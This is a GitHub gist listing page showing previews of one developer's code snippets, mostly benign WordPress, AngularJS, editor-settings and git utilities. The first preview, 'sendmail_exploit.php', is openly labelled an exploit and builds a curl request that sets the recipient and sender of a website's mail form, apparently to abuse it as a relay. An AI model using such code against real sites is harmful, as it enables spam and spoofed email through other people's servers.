Skip to content

Instantly share code, notes, and snippets.

@MrSaints
MrSaints / sendmail_exploit.php
Created September 24, 2013 06:17
Simple exploit to a sendmail.php vulnerability on a web site. The actual URL of the said vulnerability has been removed for security purposes along with any details that may link this gist to its victim.
<?php
define('GIS_EMAIL_URL', 'sendmail.php');
$ch = curl_init(GIS_EMAIL_URL);
$data = array(
'contact_email' => 'recipient@address.com',
'name' => 'Whatever',
'email' => 'sender@address.com',
'subject' => 'Whatever',
'message' => 'Whatever'
@MrSaints
MrSaints / external_database.php
Last active November 21, 2022 12:32
A custom database class to demonstrate how WordPress' wpdb class can be instantiated and extended to allow you to connect to another / an external or secondary database. The global $wpdb object is only capable of communicating with the WordPress database. Refer to http://codex.wordpress.org/Class_Reference/wpdb for more information.
<?php
/*
The MIT License (MIT)
Copyright © 2014 Ian Lai
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the “Software”), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
@MrSaints
MrSaints / angular_data.html
Last active October 19, 2022 09:42
A simple AngularJS application to add / delete / list / sort data comprising of three fields (state code, price and tax). It was written to demonstrate to a friend, the simplicity and power of Angular to address programming challenges - in recruitment processes - quickly and effectively.
<!DOCTYPE html>
<html ng-app>
<head>
<title>Add / List Data (AngularJS)</title>
<style>
.list_data { margin-bottom: 2rem }
table, th, td { border: 1px solid #AAA }
th { cursor: pointer }
</style>
</head>
@MrSaints
MrSaints / Keybase.md
Last active August 29, 2015 13:57
Verifying myself.

Keybase proof

I hereby claim:

  • I am MrSaints on github.
  • I am mrsaints (https://keybase.io/mrsaints) on keybase.
  • I have a public key whose fingerprint is 23EB 5004 75C1 2A47 6D3E FE59 E45D 4BB2 8169 BA4F

To claim this, I am signing this object:

@MrSaints
MrSaints / demo.html
Last active December 3, 2017 21:22
Native ports of Morphext in React and Polymer (JavaScript frameworks). They're a work in progress. Use them at your own risk. Original: https://github.com/MrSaints/Morphext
<!doctype html>
<html class="no-js" lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Morphext Web Components (v2.0.0)</title>
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1">
@MrSaints
MrSaints / Package Control.sublime-settings
Created July 30, 2014 13:54
Personal settings for Sublime Text Editor (3).
{
"installed_packages":
[
"AutoFileName",
"Base16 Color Schemes",
"Better CoffeeScript",
"Emmet",
"Gutter Color",
"HTML Mustache",
"JSHint Gutter",
@MrSaints
MrSaints / will-change.css
Created July 31, 2014 14:37
Prevent animation flicker (for future reference). Think of it as "preloading" -- http://www.developerdrive.com/2014/07/how-to-optimize-css-animation-with-the-will-change-property/
.optimise {
will-change: contents, transform;
}
@MrSaints
MrSaints / transfer.sh
Created October 17, 2014 02:44
Transfers a Git file from one repository to another while maintaining its Git history.
git filter-branch --prune-empty --subdirectory-filter <DIRECTORY TO FILTER> -- --all
git filter-branch -f --prune-empty --index-filter 'git rm --cached --ignore-unmatch $(git ls-files | grep -v "<FILE TO FILTER>")'
git reset --hard
git remote rm origin
git gc --aggressive
git prune
@MrSaints
MrSaints / pr0gramm.coffee
Created October 22, 2014 16:58
A Hubot script for returning the latest image from Pr0gramm.
# Description:
# Pr0gramm API
#
# Dependencies:
# None
#
# Configuration:
# None
#
# Commands:
@MrSaints
MrSaints / Package Control.sublime-settings
Last active August 29, 2015 14:10
Sublime Text Editor Backup
{
"installed_packages":
[
"AutoFileName",
"Base16 Color Schemes",
"Better CoffeeScript",
"Elixir",
"Emmet",
"GoSublime",
"Gutter Color",